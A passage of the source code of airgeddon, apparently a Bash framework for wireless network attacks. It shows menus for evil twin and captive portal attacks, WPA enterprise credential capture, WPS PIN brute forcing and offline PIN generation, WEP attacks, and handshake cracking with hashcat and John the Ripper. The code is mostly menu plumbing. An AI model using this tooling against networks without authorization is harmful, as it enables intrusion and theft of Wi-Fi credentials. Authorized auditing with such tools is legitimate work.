^(et)?([0-9]+)rs[0-1]$ ]] && agpid="${BASH_REMATCH[2]}" if [ "${agpid}" = "${BASHPID}" ]; then clean_all_iptables_nftables=0 return 0 fi done return 1 } #Check if this instance is the last airgeddon instance running function is_last_airgeddon_instance() { debug_print local agpid="" readarray -t AIRGEDDON_PIDS 2> /dev/null < <(cat <"${system_tmpdir}${ag_orchestrator_file}" 2> /dev/null) for item in "${AIRGEDDON_PIDS[@]}"; do [[ "${item}" =~ ^(et)?([0-9]+)(rs[0-1])?$ ]] && agpid="${BASH_REMATCH[2]}" if [[ "${agpid}" != "${agpid_to_use}" ]] && ps -p "${agpid}" > /dev/null 2>&1; then return 1 fi done return 0 } #airgeddon main menu function main_menu() { debug_print clear language_strings "${language}" 101 "title" current_menu="main_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 61 language_strings "${language}" 48 language_strings "${language}" 55 language_strings "${language}" 56 print_simple_separator language_strings "${language}" 118 language_strings "${language}" 119 language_strings "${language}" 169 language_strings "${language}" 252 language_strings "${language}" 333 language_strings "${language}" 426 language_strings "${language}" 57 language_strings "${language}" 754 print_simple_separator language_strings "${language}" 60 language_strings "${language}" 444 print_hint read -rp "> " main_option case ${main_option} in 0) exit_script_option ;; 1) select_interface ;; 2) monitor_option "${interface}" ;; 3) managed_option "${interface}" ;; 4) dos_attacks_menu ;; 5) handshake_pmkid_decloaking_tools_menu ;; 6) decrypt_menu ;; 7) evil_twin_attacks_menu ;; 8) wps_attacks_menu ;; 9) wep_attacks_menu ;; 10) enterprise_attacks_menu ;; 11) hookable_wpa3_attacks_menu ;; 12) credits_option ;; 13) option_menu ;; *) invalid_menu_option ;; esac main_menu } #Enterprise attacks menu function enterprise_attacks_menu() { debug_print clear language_strings "${language}" 84 "title" current_menu="enterprise_attacks_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 59 language_strings "${language}" 48 language_strings "${language}" 55 language_strings "${language}" 56 language_strings "${language}" 49 language_strings "${language}" 627 "separator" language_strings "${language}" 628 enterprise_certificates_dependencies[@] language_strings "${language}" 117 "separator" language_strings "${language}" 260 enterprise_attack_dependencies[@] language_strings "${language}" 248 "separator" language_strings "${language}" 307 enterprise_attack_dependencies[@] language_strings "${language}" 740 "separator" language_strings "${language}" 741 enterprise_identities_dependencies[@] language_strings "${language}" 748 enterprise_certificates_analysis_dependencies[@] print_hint read -rp "> " enterprise_option case ${enterprise_option} in 0) return ;; 1) select_interface ;; 2) monitor_option "${interface}" ;; 3) managed_option "${interface}" ;; 4) explore_for_targets_option "WPA" "enterprise" ;; 5) if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then forbidden_menu_option else custom_certificates_questions create_certificates_config_files create_custom_certificates fi ;; 6) if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then forbidden_menu_option else current_iface_on_messages="${interface}" if check_interface_wifi "${interface}"; then if [ "${adapter_vif_support}" -eq 0 ]; then ask_yesno 696 "no" if [ "${yesno}" = "y" ]; then et_enterprise_attack_adapter_prerequisites_ok=1 fi else et_enterprise_attack_adapter_prerequisites_ok=1 fi if [ "${et_enterprise_attack_adapter_prerequisites_ok}" -eq 1 ]; then if custom_certificates_integration; then enterprise_mode="smooth" et_dos_menu "enterprise" fi fi else echo language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi ;; 7) if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then forbidden_menu_option else current_iface_on_messages="${interface}" if check_interface_wifi "${interface}"; then if [ "${adapter_vif_support}" -eq 0 ]; then ask_yesno 696 "no" if [ "${yesno}" = "y" ]; then et_enterprise_attack_adapter_prerequisites_ok=1 fi else et_enterprise_attack_adapter_prerequisites_ok=1 fi if [ "${et_enterprise_attack_adapter_prerequisites_ok}" -eq 1 ]; then if custom_certificates_integration; then enterprise_mode="noisy" et_dos_menu "enterprise" fi fi else echo language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi ;; 8) if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then forbidden_menu_option else enterprise_identities_and_certitifcates_analysis "identities" fi ;; 9) if contains_element "${enterprise_option}" "${forbidden_options[@]}"; then forbidden_menu_option else enterprise_identities_and_certitifcates_analysis "certificates" fi ;; *) invalid_menu_option ;; esac enterprise_attacks_menu } #Evil Twin attacks menu function evil_twin_attacks_menu() { debug_print clear language_strings "${language}" 253 "title" current_menu="evil_twin_attacks_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 59 language_strings "${language}" 48 language_strings "${language}" 55 language_strings "${language}" 56 language_strings "${language}" 49 language_strings "${language}" 255 "separator" language_strings "${language}" 256 et_onlyap_dependencies[@] language_strings "${language}" 257 "separator" language_strings "${language}" 259 et_sniffing_dependencies[@] language_strings "${language}" 261 et_sniffing_sslstrip2_dependencies[@] language_strings "${language}" 396 language_strings "${language}" 262 "separator" language_strings "${language}" 263 et_captive_portal_dependencies[@] print_hint read -rp "> " et_option case ${et_option} in 0) return ;; 1) select_interface ;; 2) monitor_option "${interface}" ;; 3) managed_option "${interface}" ;; 4) explore_for_targets_option ;; 5) if contains_element "${et_option}" "${forbidden_options[@]}"; then forbidden_menu_option else current_iface_on_messages="${interface}" if check_interface_wifi "${interface}"; then if [ "${adapter_vif_support}" -eq 0 ]; then ask_yesno 696 "no" if [ "${yesno}" = "y" ]; then et_attack_adapter_prerequisites_ok=1 fi else et_attack_adapter_prerequisites_ok=1 fi if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then declare -gA ports_needed ports_needed["tcp"]="" ports_needed["udp"]="${dhcp_port}" if check_busy_ports; then et_mode="et_onlyap" et_dos_menu fi fi else echo language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi ;; 6) if contains_element "${et_option}" "${forbidden_options[@]}"; then forbidden_menu_option else current_iface_on_messages="${interface}" if check_interface_wifi "${interface}"; then if [ "${adapter_vif_support}" -eq 0 ]; then ask_yesno 696 "no" if [ "${yesno}" = "y" ]; then et_attack_adapter_prerequisites_ok=1 fi else et_attack_adapter_prerequisites_ok=1 fi if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then declare -gA ports_needed ports_needed["tcp"]="" ports_needed["udp"]="${dhcp_port}" if check_busy_ports; then et_mode="et_sniffing" et_dos_menu fi fi else echo language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi ;; 7) if contains_element "${et_option}" "${forbidden_options[@]}"; then forbidden_menu_option else current_iface_on_messages="${interface}" if check_interface_wifi "${interface}"; then get_bettercap_version if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}" && ! compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_sslstrip_working_version}"; then echo language_strings "${language}" 174 "red" language_strings "${language}" 115 "read" else if [ "${adapter_vif_support}" -eq 0 ]; then ask_yesno 696 "no" if [ "${yesno}" = "y" ]; then et_attack_adapter_prerequisites_ok=1 fi else et_attack_adapter_prerequisites_ok=1 fi if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then declare -gA ports_needed ports_needed["tcp"]="${bettercap_proxy_port}" ports_needed["udp"]="${dhcp_port} ${bettercap_dns_port}" if check_busy_ports; then et_mode="et_sniffing_sslstrip2" et_dos_menu fi fi fi else echo language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi ;; 8) beef_pre_menu ;; 9) if contains_element "${et_option}" "${forbidden_options[@]}"; then forbidden_menu_option else current_iface_on_messages="${interface}" if check_interface_wifi "${interface}"; then if [ "${adapter_vif_support}" -eq 0 ]; then ask_yesno 696 "no" if [ "${yesno}" = "y" ]; then et_attack_adapter_prerequisites_ok=1 fi else et_attack_adapter_prerequisites_ok=1 fi if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then declare -gA ports_needed ports_needed["tcp"]="${dns_port} ${www_port}" ports_needed["udp"]="${dns_port} ${dhcp_port}" if check_busy_ports; then et_mode="et_captive_portal" echo language_strings "${language}" 316 "yellow" language_strings "${language}" 115 "read" if explore_for_targets_option "WPA"; then et_dos_menu fi fi fi else echo language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi ;; *) invalid_menu_option ;; esac evil_twin_attacks_menu } #beef pre attack menu function beef_pre_menu() { debug_print if [ "${return_to_et_main_menu_from_beef}" -eq 1 ]; then return fi search_for_beef clear language_strings "${language}" 407 "title" current_menu="beef_pre_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 266 print_simple_separator if [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then if [[ ${optional_tools[${optional_tools_names[5]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[6]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[7]}]} -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[16]}]} -eq 1 ]]; then language_strings "${language}" 409 "warning" language_strings "${language}" 416 "pink" else language_strings "${language}" 409 et_sniffing_sslstrip2_beef_dependencies[@] fi else language_strings "${language}" 409 et_sniffing_sslstrip2_beef_dependencies[@] fi print_simple_separator language_strings "${language}" 410 print_hint read -rp "> " beef_option case ${beef_option} in 0) return ;; 1) if contains_element "${beef_option}" "${forbidden_options[@]}"; then forbidden_menu_option else current_iface_on_messages="${interface}" if check_interface_wifi "${interface}"; then get_bettercap_version if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}" && ! compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_sslstrip_working_version}"; then echo language_strings "${language}" 174 "red" language_strings "${language}" 115 "read" return fi if [ "${adapter_vif_support}" -eq 0 ]; then ask_yesno 696 "no" if [ "${yesno}" = "y" ]; then et_attack_adapter_prerequisites_ok=1 else return_to_et_main_menu_from_beef=1 fi else et_attack_adapter_prerequisites_ok=1 fi if [ "${et_attack_adapter_prerequisites_ok}" -eq 1 ]; then declare -gA ports_needed ports_needed["tcp"]="2000 ${beef_port} 6789 ${bettercap_proxy_port}" ports_needed["udp"]="${dns_port} ${dhcp_port} ${bettercap_dns_port}" if check_busy_ports; then et_mode="et_sniffing_sslstrip2_beef" et_dos_menu fi fi else echo language_strings "${language}" 281 "red" language_strings "${language}" 115 "read" fi fi ;; 2) if [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then echo language_strings "${language}" 412 "red" language_strings "${language}" 115 "read" else prepare_beef_start fi ;; *) invalid_menu_option ;; esac beef_pre_menu } #WPS attacks menu function wps_attacks_menu() { debug_print clear language_strings "${language}" 334 "title" current_menu="wps_attacks_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 59 language_strings "${language}" 48 language_strings "${language}" 55 language_strings "${language}" 56 language_strings "${language}" 49 wash_scan_dependencies[@] language_strings "${language}" 50 "separator" language_strings "${language}" 345 bully_attacks_dependencies[@] language_strings "${language}" 357 reaver_attacks_dependencies[@] language_strings "${language}" 346 bully_pixie_dust_attack_dependencies[@] language_strings "${language}" 358 reaver_pixie_dust_attack_dependencies[@] language_strings "${language}" 347 bully_attacks_dependencies[@] language_strings "${language}" 359 reaver_attacks_dependencies[@] language_strings "${language}" 348 bully_attacks_dependencies[@] language_strings "${language}" 360 reaver_attacks_dependencies[@] language_strings "${language}" 622 reaver_attacks_dependencies[@] print_simple_separator language_strings "${language}" 494 print_hint read -rp "> " wps_option case ${wps_option} in 0) return ;; 1) select_interface ;; 2) monitor_option "${interface}" ;; 3) managed_option "${interface}" ;; 4) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_reaver_version explore_for_wps_targets_option fi ;; 5) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wps_attack="custompin_bully" get_bully_version set_bully_verbosity if wps_attacks_parameters; then manage_wps_log exec_wps_custom_pin_bully_attack fi fi ;; 6) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wps_attack="custompin_reaver" if wps_attacks_parameters; then manage_wps_log exec_wps_custom_pin_reaver_attack fi fi ;; 7) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wps_attack="pixiedust_bully" get_bully_version set_bully_verbosity if validate_bully_pixiewps_version; then echo language_strings "${language}" 368 "yellow" language_strings "${language}" 115 "read" if wps_attacks_parameters; then manage_wps_log exec_bully_pixiewps_attack fi else echo language_strings "${language}" 367 "red" language_strings "${language}" 115 "read" fi fi ;; 8) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wps_attack="pixiedust_reaver" get_reaver_version if validate_reaver_pixiewps_version; then echo language_strings "${language}" 370 "yellow" language_strings "${language}" 115 "read" if wps_attacks_parameters; then manage_wps_log exec_reaver_pixiewps_attack fi else echo language_strings "${language}" 371 "red" language_strings "${language}" 115 "read" fi fi ;; 9) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wps_attack="bruteforce_bully" get_bully_version set_bully_verbosity if wps_attacks_parameters; then manage_wps_log exec_wps_bruteforce_pin_bully_attack fi fi ;; 10) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wps_attack="bruteforce_reaver" get_reaver_version if wps_attacks_parameters; then manage_wps_log exec_wps_bruteforce_pin_reaver_attack fi fi ;; 11) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wps_attack="pindb_bully" get_bully_version set_bully_verbosity db_error=0 if [[ "${pin_dbfile_checked}" -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then if check_pins_database_file; then echo language_strings "${language}" 373 "blue" else echo language_strings "${language}" 372 "red" db_error=1 fi else echo language_strings "${language}" 379 "blue" fi language_strings "${language}" 115 "read" if [ "${db_error}" -eq 0 ]; then if wps_attacks_parameters; then manage_wps_log exec_wps_pin_database_bully_attack fi fi fi ;; 12) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wps_attack="pindb_reaver" get_reaver_version db_error=0 if [[ "${pin_dbfile_checked}" -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then if check_pins_database_file; then echo language_strings "${language}" 373 "blue" else echo language_strings "${language}" 372 "red" db_error=1 fi else echo language_strings "${language}" 379 "blue" fi language_strings "${language}" 115 "read" if [ "${db_error}" -eq 0 ]; then if wps_attacks_parameters; then manage_wps_log exec_wps_pin_database_reaver_attack fi fi fi ;; 13) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wps_attack="nullpin_reaver" get_reaver_version if validate_reaver_nullpin_version; then echo language_strings "${language}" 623 "yellow" language_strings "${language}" 115 "read" if wps_attacks_parameters; then manage_wps_log exec_reaver_nullpin_attack fi else echo language_strings "${language}" 624 "red" language_strings "${language}" 115 "read" fi fi ;; 14) offline_pin_generation_menu ;; *) invalid_menu_option ;; esac wps_attacks_menu } #Offline pin generation menu function offline_pin_generation_menu() { debug_print clear language_strings "${language}" 495 "title" current_menu="offline_pin_generation_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 497 language_strings "${language}" 48 language_strings "${language}" 55 language_strings "${language}" 56 language_strings "${language}" 49 wash_scan_dependencies[@] language_strings "${language}" 498 "separator" language_strings "${language}" 496 echo "6. ComputePIN" echo "7. EasyBox" echo "8. Arcadyan" print_hint read -rp "> " offline_pin_generation_option case ${offline_pin_generation_option} in 0) return ;; 1) select_interface ;; 2) monitor_option "${interface}" ;; 3) managed_option "${interface}" ;; 4) if contains_element "${wps_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_reaver_version explore_for_wps_targets_option fi ;; 5) db_error=0 if [[ "${pin_dbfile_checked}" -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then if check_pins_database_file; then echo language_strings "${language}" 373 "blue" else echo language_strings "${language}" 372 "red" db_error=1 fi else echo language_strings "${language}" 379 "blue" fi language_strings "${language}" 115 "read" if [ "${db_error}" -eq 0 ]; then if wps_attacks_parameters "no_monitor_check"; then wps_pin_database_prerequisites "no_attack" if [ "${bssid_found_in_db}" -eq 1 ]; then echo language_strings "${language}" 499 "blue" echo "${wps_data_array["${wps_bssid}",'Database']}" echo fi language_strings "${language}" 115 "read" fi fi ;; 6) if wps_attacks_parameters "no_monitor_check"; then if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "ComputePIN"; then set_wps_mac_parameters calculate_computepin_algorithm_step1 pin_checksum_rule "${computepin_pin}" calculate_computepin_algorithm_step2 fill_wps_data_array "${wps_bssid}" "ComputePIN" "${computepin_pin}" fi echo language_strings "${language}" 500 "blue" echo "${wps_data_array["${wps_bssid}",'ComputePIN']}" echo language_strings "${language}" 115 "read" fi ;; 7) if wps_attacks_parameters "no_monitor_check"; then if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "EasyBox"; then set_wps_mac_parameters calculate_easybox_algorithm pin_checksum_rule "${easybox_pin}" easybox_pin=$(printf '%08d\n' $((current_calculated_pin + checksum_digit))) fill_wps_data_array "${wps_bssid}" "EasyBox" "${easybox_pin}" fi echo language_strings "${language}" 501 "blue" echo "${wps_data_array["${wps_bssid}",'EasyBox']}" echo language_strings "${language}" 115 "read" fi ;; 8) if wps_attacks_parameters "no_monitor_check"; then offline_arcadyan_pin_can_be_shown=0 if ! check_if_type_exists_in_wps_data_array "${wps_bssid}" "Arcadyan"; then ask_yesno 504 "yes" if [ "${yesno}" = "y" ]; then if check_monitor_enabled "${interface}"; then if hash wash 2> /dev/null; then if check_json_option_on_wash; then echo language_strings "${language}" 489 "blue" serial="" if wash_json_scan "${wps_bssid}"; then if [ -n "${serial}" ]; then if [[ "${serial}" =~ ^[0-9]{4}$ ]]; then set_wps_mac_parameters calculate_arcadyan_algorithm pin_checksum_rule "${arcadyan_pin}" arcadyan_pin="${arcadyan_pin}${checksum_digit}" fill_wps_data_array "${wps_bssid}" "Arcadyan" "${arcadyan_pin}" offline_arcadyan_pin_can_be_shown=1 else echo language_strings "${language}" 491 "yellow" language_strings "${language}" 115 "read" fi echo else echo language_strings "${language}" 488 "red" language_strings "${language}" 115 "read" fi fi else echo language_strings "${language}" 486 "red" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 492 "red" language_strings "${language}" 115 "read" fi else echo language_strings "${language}" 14 "red" language_strings "${language}" 115 "read" fi fi else echo language_strings "${language}" 503 "yellow" language_strings "${language}" 115 "read" offline_arcadyan_pin_can_be_shown=1 fi if [ "${offline_arcadyan_pin_can_be_shown}" -eq 1 ]; then echo language_strings "${language}" 502 "blue" echo "${wps_data_array["${wps_bssid}",'Arcadyan']}" echo language_strings "${language}" 115 "read" fi fi ;; *) invalid_menu_option ;; esac offline_pin_generation_menu } #WEP attacks menu function wep_attacks_menu() { debug_print clear language_strings "${language}" 427 "title" current_menu="wep_attacks_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 59 language_strings "${language}" 48 language_strings "${language}" 55 language_strings "${language}" 56 language_strings "${language}" 49 language_strings "${language}" 50 "separator" language_strings "${language}" 423 wep_attack_allinone_dependencies[@] language_strings "${language}" 723 wep_attack_besside_dependencies[@] print_hint read -rp "> " wep_option case ${wep_option} in 0) return ;; 1) select_interface ;; 2) monitor_option "${interface}" ;; 3) managed_option "${interface}" ;; 4) explore_for_targets_option "WEP" ;; 5) if contains_element "${wep_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wep_attack_option "allinone" fi ;; 6) if contains_element "${wep_option}" "${forbidden_options[@]}"; then forbidden_menu_option else wep_attack_option "besside" fi ;; *) invalid_menu_option ;; esac wep_attacks_menu } #Offline decryption attacks menu function decrypt_menu() { debug_print clear language_strings "${language}" 170 "title" current_menu="decrypt_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 59 language_strings "${language}" 534 language_strings "${language}" 535 print_hint read -rp "> " decrypt_option case ${decrypt_option} in 0) return ;; 1) personal_decrypt_menu ;; 2) enterprise_decrypt_menu ;; *) invalid_menu_option ;; esac decrypt_menu } #Offline personal decryption attacks menu function personal_decrypt_menu() { debug_print clear language_strings "${language}" 170 "title" current_menu="personal_decrypt_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 536 language_strings "${language}" 176 "separator" language_strings "${language}" 172 language_strings "${language}" 175 aircrack_crunch_attacks_dependencies[@] language_strings "${language}" 229 "separator" language_strings "${language}" 230 hashcat_attacks_dependencies[@] language_strings "${language}" 231 hashcat_attacks_dependencies[@] language_strings "${language}" 232 hashcat_attacks_dependencies[@] language_strings "${language}" 789 hashcat_hash_attacks_dependencies[@] language_strings "${language}" 790 hashcat_hash_attacks_dependencies[@] language_strings "${language}" 791 hashcat_hash_attacks_dependencies[@] print_hint read -rp "> " personal_decrypt_option case ${personal_decrypt_option} in 0) return ;; 1) if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else aircrack_dictionary_attack_option "personal_handshake_pmkid_capture" fi ;; 2) if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else aircrack_bruteforce_attack_option "personal_handshake_pmkid_capture" fi ;; 3) if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hashcat_version set_hashcat_parameters hashcat_dictionary_attack_option "personal_handshake_pmkid_capture" fi ;; 4) if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hashcat_version set_hashcat_parameters hashcat_bruteforce_attack_option "personal_handshake_pmkid_capture" fi ;; 5) if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hashcat_version set_hashcat_parameters hashcat_rulebased_attack_option "personal_handshake_pmkid_capture" fi ;; 6) if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hashcat_version set_hashcat_parameters hashcat_dictionary_attack_option "personal_handshake_pmkid_hash" fi ;; 7) if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hashcat_version set_hashcat_parameters hashcat_bruteforce_attack_option "personal_handshake_pmkid_hash" fi ;; 8) if contains_element "${personal_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hashcat_version set_hashcat_parameters hashcat_rulebased_attack_option "personal_handshake_pmkid_hash" fi ;; *) invalid_menu_option ;; esac personal_decrypt_menu } #Offline enterprise decryption attacks menu function enterprise_decrypt_menu() { debug_print clear language_strings "${language}" 170 "title" current_menu="enterprise_decrypt_menu" initialize_menu_and_print_selections echo language_strings "${language}" 47 "green" print_simple_separator language_strings "${language}" 536 language_strings "${language}" 544 "separator" language_strings "${language}" 545 john_attacks_dependencies[@] language_strings "${language}" 546 johncrunch_attacks_dependencies[@] language_strings "${language}" 229 "separator" language_strings "${language}" 550 hashcat_attacks_dependencies[@] language_strings "${language}" 551 hashcat_attacks_dependencies[@] language_strings "${language}" 552 hashcat_attacks_dependencies[@] language_strings "${language}" 548 "separator" language_strings "${language}" 549 asleap_attacks_dependencies[@] print_hint read -rp "> " enterprise_decrypt_option case ${enterprise_decrypt_option} in 0) return ;; 1) if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_jtr_version if ! validate_jtr; then echo language_strings "${language}" 802 "red" language_strings "${language}" 115 "read" else enterprise_jtr_dictionary_attack_option "enterprise" fi fi ;; 2) if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_jtr_version if ! validate_jtr; then echo language_strings "${language}" 802 "red" language_strings "${language}" 115 "read" else enterprise_jtr_bruteforce_attack_option "enterprise" fi fi ;; 3) if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hashcat_version set_hashcat_parameters hashcat_dictionary_attack_option "enterprise" fi ;; 4) if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hashcat_version set_hashcat_parameters hashcat_bruteforce_attack_option "enterprise" fi ;; 5) if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else get_hashcat_version set_hashcat_parameters hashcat_rulebased_attack_option "enterprise" fi ;; 6) if contains_element "${enterprise_decrypt_option}" "${forbidden_options[@]}"; then forbidden_menu_option else enterprise_asleap_dictionary_attack_option fi ;; *) invalid_menu_option ;; esac enterprise_decrypt_menu } #Read the user input on rules file questions function ask_rules() { debug_print validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "rules" done language_strings "${language}" 241 "yellow" } #Read the user input on dictionary file questions function ask_dictionary() { debug_print validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "dictionary" done language_strings "${language}" 181 "yellow" } #Read the user input on Handshake/PMKID/enterprise file questions function ask_capture_hash_file() { debug_print validpath=1 if [ "${1}" = "personal_handshake_pmkid_capture" ]; then while [[ "${validpath}" != "0" ]]; do read_path "targetfilefordecrypt" done elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then while [[ "${validpath}" != "0" ]]; do read_path "targethashcathashfilefordecrypt" done else if [ "${2}" = "hashcat" ]; then while [[ "${validpath}" != "0" ]]; do read_path "targethashcatenterprisefilefordecrypt" done else while [[ "${validpath}" != "0" ]]; do read_path "targetjtrenterprisefilefordecrypt" done fi fi language_strings "${language}" 189 "yellow" } #Manage the questions on Handshake/PMKID/enterprise file questions function manage_asking_for_captured_hashes_file() { debug_print if [ "${1}" = "personal_handshake_pmkid_capture" ]; then if [ -n "${enteredpath}" ]; then echo language_strings "${language}" 186 "blue" ask_yesno 187 "yes" if [ "${yesno}" = "n" ]; then ask_capture_hash_file "${1}" "${2}" fi else ask_capture_hash_file "${1}" "${2}" fi elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then if [ -n "${hashcathashfileenteredpath}" ]; then echo language_strings "${language}" 795 "blue" ask_yesno 800 "yes" if [ "${yesno}" = "n" ]; then ask_capture_hash_file "${1}" "${2}" fi else ask_capture_hash_file "${1}" "${2}" fi else if [ "${2}" = "hashcat" ]; then if [ -n "${hashcatenterpriseenteredpath}" ]; then echo language_strings "${language}" 600 "blue" ask_yesno 800 "yes" if [ "${yesno}" = "n" ]; then ask_capture_hash_file "${1}" "${2}" fi else ask_capture_hash_file "${1}" "${2}" fi elif [ "${2}" = "jtr" ]; then if [ -n "${jtrenterpriseenteredpath}" ]; then echo language_strings "${language}" 609 "blue" ask_yesno 800 "yes" if [ "${yesno}" = "n" ]; then ask_capture_hash_file "${1}" "${2}" fi else ask_capture_hash_file "${1}" "${2}" fi fi fi } #Manage the questions on challenge response input manage_asking_for_challenge_response() { debug_print local regexp="^([[:xdigit:]]{2}:){7}[[:xdigit:]]{2}$" while [[ ! ${enterprise_asleap_challenge} =~ ${regexp} ]]; do read_challenge done regexp="^([[:xdigit:]]{2}:){23}[[:xdigit:]]{2}$" while [[ ! ${enterprise_asleap_response} =~ ${regexp} ]]; do read_response done } #Manage the questions on dictionary file questions function manage_asking_for_dictionary_file() { debug_print if [ -n "${DICTIONARY}" ]; then echo language_strings "${language}" 183 "blue" ask_yesno 184 "yes" if [ "${yesno}" = "n" ]; then ask_dictionary fi else ask_dictionary fi } #Manage the questions on rules file questions function manage_asking_for_rule_file() { debug_print if [ -n "${RULES}" ]; then echo language_strings "${language}" 239 "blue" ask_yesno 240 "yes" if [ "${yesno}" = "n" ]; then ask_rules fi else ask_rules fi } #Check if a hash is present in hostapd-mana log function check_mana_hashes() { debug_print mana_hash="" rm -rf "${tmpdir}${mana_cap_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${mana_tmp_file}" > /dev/null 2>&1 while true; do if grep -Eqim1 '^MANA: Captured a WPA/2 handshake from:' "${tmpdir}${hostapd_mana_log}"; then if grep -Eqim1 '^MANA WPA2 HASHCAT' "${tmpdir}${hostapd_mana_log}"; then mana_hash=$(grep -Eim1 '^MANA WPA2 HASHCAT' "${tmpdir}${hostapd_mana_log}" | awk -F "\|" '{print $2}' 2> /dev/null | tr -d " ") else hcxhash2cap --hccapx="${tmpdir}${hostapd_mana_out}" -c "${tmpdir}${mana_cap_file}" > /dev/null hcxpcapngtool "${tmpdir}${mana_cap_file}" -o "${tmpdir}${mana_tmp_file}" > /dev/null mana_hash=$(head -n1 "${tmpdir}${mana_tmp_file}") fi break fi if ! ps -p "${hostapd_mana_pid}" > /dev/null 2>&1; then break fi sleep 3 done } #Validate the file to be cleaned function check_valid_file_to_clean() { debug_print nets_from_file=$(echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "WPA|WEP" | awk '{ saved = $1; $1 = ""; print substr($0, 2) }') if [ "${nets_from_file}" = "" ]; then return 1 fi option_counter=0 for item in ${nets_from_file}; do if [[ ${item} =~ ^[0-9a-fA-F]{2}: ]]; then option_counter=$((option_counter + 1)) fi done if [ "${option_counter}" -le 1 ]; then return 1 fi handshakefilesize=$(wc -c "${filetoclean}" 2> /dev/null | awk -F " " '{print$1}') if [ "${handshakefilesize}" -le 1024 ]; then return 1 fi if ! echo "1" | timeout -s SIGTERM 3 aircrack-ng "${1}" 2> /dev/null | grep -E "1 handshake" > /dev/null; then return 1 fi return 0 } #Check if an essid is present on the mdk3/mdk4 log file to know if it is decloaked for that bssid function check_essid_in_mdk_decloak_log() { debug_print local regexp if [ "${AIRGEDDON_MDK_VERSION}" = "mdk3" ]; then if ! grep -q "End of SSID list reached" "${tmpdir}decloak.log"; then regexp='SSID:[[:blank:]]\"([^\"]+)\"' [[ $(grep "${bssid}" 